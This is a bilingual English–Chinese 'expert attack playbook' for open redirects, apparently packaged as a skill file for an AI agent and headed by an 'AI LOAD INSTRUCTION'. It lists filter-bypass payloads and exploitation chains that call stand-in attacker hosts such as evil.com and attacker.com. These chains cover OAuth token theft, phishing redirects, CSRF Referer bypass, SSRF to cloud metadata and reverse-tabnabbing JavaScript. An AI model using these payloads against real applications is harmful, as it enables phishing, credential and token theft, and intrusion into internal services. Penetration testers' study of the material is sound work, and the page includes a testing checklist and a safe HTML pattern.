open-redirect

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Open Redirect — Expert Attack Playbook

技能:开放重定向——高级攻击手册

AI LOAD INSTRUCTION: Open redirect techniques. Covers parameter-based redirects, JavaScript sinks, filter bypass, and chaining with phishing, CSRF Referer bypass, OAuth token theft, and SSRF. Often underrated but critical for phishing and as a building block in multi-step exploit chains.
AI加载说明:开放重定向技术,涵盖基于参数的重定向、JavaScript sink、过滤器绕过,以及与网络钓鱼、CSRF Referer绕过、OAuth令牌窃取、SSRF的链式组合利用。该技术通常被低估,但对于网络钓鱼和多步骤利用链的构建至关重要。

1. CORE CONCEPT

1. 核心概念

Open redirect occurs when an application redirects users to a URL derived from user input without validation. The trusted domain acts as a "launchpad" for phishing or token theft.
https://trusted.com/redirect?url=https://evil.com
→ User sees trusted.com in the link → clicks → lands on evil.com

开放重定向指应用程序未经过校验就将用户重定向到来源于用户输入的URL的情况。受信任的域名会成为网络钓鱼或令牌窃取的“跳板”。
https://trusted.com/redirect?url=https://evil.com
→ User sees trusted.com in the link → clicks → lands on evil.com

2. FINDING REDIRECT PARAMETERS

2. 查找重定向参数

Common Parameter Names

常见参数名

text
?url=           ?redirect=      ?next=          ?dest=
?destination=   ?redir=         ?return=        ?returnUrl=
?go=            ?forward=       ?target=        ?out=
?continue=      ?link=          ?view=          ?to=
?ref=           ?callback=      ?path=          ?rurl=
text
?url=           ?redirect=      ?next=          ?dest=
?destination=   ?redir=         ?return=        ?returnUrl=
?go=            ?forward=       ?target=        ?out=
?continue=      ?link=          ?view=          ?to=
?ref=           ?callback=      ?path=          ?rurl=

Server-Side Sinks

服务端Sink

HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)
HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)

Client-Side (JavaScript) Sinks

客户端(JavaScript)Sink

javascript
window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input

javascript
window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input

3. FILTER BYPASS TECHNIQUES

3. 过滤器绕过技术

ValidationBypass
Checks if URL starts with
/
//evil.com
(protocol-relative)
Checks domain contains
trusted.com
evil.com?trusted.com
or
trusted.com.evil.com
Blocks
http://
//evil.com
,
https://evil.com
,
\/\/evil.com
Checks URL starts with
https://trusted.com
https://trusted.com@evil.com
(userinfo)
Regex
^/[^/]
(relative only)
/\evil.com
(backslash treated as path in some browsers)
Django
endswith('target.com')
http://evil.com/www.target.com
— URL path ends with target domain
Whitelist by domain suffixSubdomain takeover on
*.trusted.com
text
undefined
校验规则绕过方法
校验URL是否以
/
开头
//evil.com
(协议相对路径)
校验域名包含
trusted.com
evil.com?trusted.com
trusted.com.evil.com
拦截
http://
开头的URL
//evil.com
,
https://evil.com
,
\/\/evil.com
校验URL以
https://trusted.com
开头
https://trusted.com@evil.com
(用户信息字段绕过)
正则
^/[^/]
(仅允许相对路径)
/\evil.com
(部分浏览器会将反斜杠识别为路径)
Django
endswith('target.com')
校验
http://evil.com/www.target.com
— URL路径以目标域名结尾
按域名后缀白名单校验接管
*.trusted.com
的子域名
text
undefined

Protocol-relative:

协议相对路径:

//evil.com
//evil.com

Userinfo bypass:

用户信息字段绕过:

Backslash trick:

反斜杠技巧:

/\evil.com //evil.com
/\evil.com //evil.com

URL encoding:

URL编码:

Django endswith bypass:

Django endswith绕过:

Trusted site double-redirect (e.g., via Baidu link service):

可信站点二次跳转(例如通过百度链接服务):

Special character confusion:

特殊字符混淆:

http://evil.com#@trusted.com # fragment as authority http://evil.com?trusted.com # query string confusion http://trusted.com%00@evil.com # null byte truncation
http://evil.com#@trusted.com # 片段作为权限标识 http://evil.com?trusted.com # 查询字符串混淆 http://trusted.com%00@evil.com # 空字节截断

Tab/newline in URL (browser ignores whitespace):

URL中的制表符/换行符(浏览器会忽略空白字符):

java%09script:alert(1)

---
java%09script:alert(1)

---

4. EXPLOITATION CHAINS

4. 利用链

Phishing Amplification

网络钓鱼放大

Attacker sends:
https://bigbank.com/redirect?url=https://bigbank-login.evil.com
Victim sees
bigbank.com
→ clicks → enters credentials on clone site.
攻击者发送链接:
https://bigbank.com/redirect?url=https://bigbank-login.evil.com
受害者看到
bigbank.com
域名 → 点击 → 在克隆站点输入账号密码。

OAuth Token Theft

OAuth令牌窃取

If OAuth
redirect_uri
allows open redirect on the authorized domain:
/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ Authorization code or token appended to evil.com URL
→ Attacker captures token from URL fragment or query
如果OAuth
redirect_uri
允许在授权域名上存在开放重定向:
/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ 授权码或令牌会被追加到evil.com的URL后
→ 攻击者从URL片段或查询参数中捕获令牌

CSRF Referer Bypass

CSRF Referer绕过

Some CSRF protections check
Referer
header contains trusted domain:
1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email
2. Redirect preserves Referer from trusted.com
3. CSRF protection passes because Referer = trusted.com
部分CSRF防护会校验
Referer
请求头是否包含可信域名:
1. 攻击者页面跳转至:https://trusted.com/redirect?url=https://trusted.com/change-email
2. 重定向会保留来自trusted.com的Referer
3. CSRF防护校验通过,因为Referer = trusted.com

SSRF via Redirect

通过重定向实现SSRF

When server follows redirects:
?url=https://attacker.com/redirect-to-internal
当服务端会跟随重定向时:
?url=https://attacker.com/redirect-to-internal

attacker.com returns 302 → http://169.254.169.254/

attacker.com returns 302 → http://169.254.169.254/

Server follows redirect → SSRF to metadata endpoint

服务端跟随重定向 → 访问元数据端点的SSRF


---

---

5. TESTING CHECKLIST

5. 测试检查清单

□ Identify all URL parameters that trigger redirects
□ Test external domain: ?url=https://evil.com
□ Test protocol-relative: ?url=//evil.com
□ Test userinfo bypass: ?url=https://trusted.com@evil.com
□ Test backslash: ?url=/\evil.com
□ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based)
□ Check OAuth flows for redirect_uri open redirect
□ Verify if redirect preserves auth tokens in URL

□ 识别所有会触发重定向的URL参数
□ 测试外部域名跳转:?url=https://evil.com
□ 测试协议相对路径:?url=//evil.com
□ 测试用户信息字段绕过:?url=https://trusted.com@evil.com
□ 测试反斜杠绕过:?url=/\evil.com
□ 测试JavaScript sink:?url=javascript:alert(1)(DOM型)
□ 检查OAuth流程中redirect_uri是否存在开放重定向
□ 验证重定向是否会保留URL中的认证令牌

6. TABNABBING (REVERSE TABNABBING)

6. 标签页劫持(反向标签页劫持)

Concept

概念

When a link opens a new tab with
target="_blank"
WITHOUT
rel="noopener"
:
  • The new page can access
    window.opener
  • It can redirect the ORIGINAL page:
    window.opener.location = "https://phishing.com/login"
  • User returns to "original" tab → sees fake login page → enters credentials
当链接使用
target="_blank"
打开新标签页但未添加
rel="noopener"
时:
  • 新页面可以访问
    window.opener
    对象
  • 可以重定向原始页面:
    window.opener.location = "https://phishing.com/login"
  • 用户返回“原始”标签页时 → 看到伪造的登录页面 → 输入账号密码

Detection

检测

html
<!-- Vulnerable: -->
<a href="https://external.com" target="_blank">Click here</a>

<!-- Safe: -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>
html
<!-- 存在漏洞: -->
<a href="https://external.com" target="_blank">Click here</a>

<!-- 安全写法: -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>

Exploitation

利用

javascript
// On the attacker-controlled page (opened via target="_blank"):
if (window.opener) {
    window.opener.location = "https://phishing.com/fake-login.html";
}
javascript
// 在攻击者控制的页面中(通过target="_blank"打开):
if (window.opener) {
    window.opener.location = "https://phishing.com/fake-login.html";
}

Where to Look

排查位置

  • User-generated content with links (forums, comments, profiles)
  • target="_blank"
    links to external domains
  • PDF viewers, document previews opening in new tabs
  • 带链接的用户生成内容(论坛、评论、个人资料)
  • 指向外部域名的
    target="_blank"
    链接
  • 在新标签页打开的PDF阅读器、文档预览功能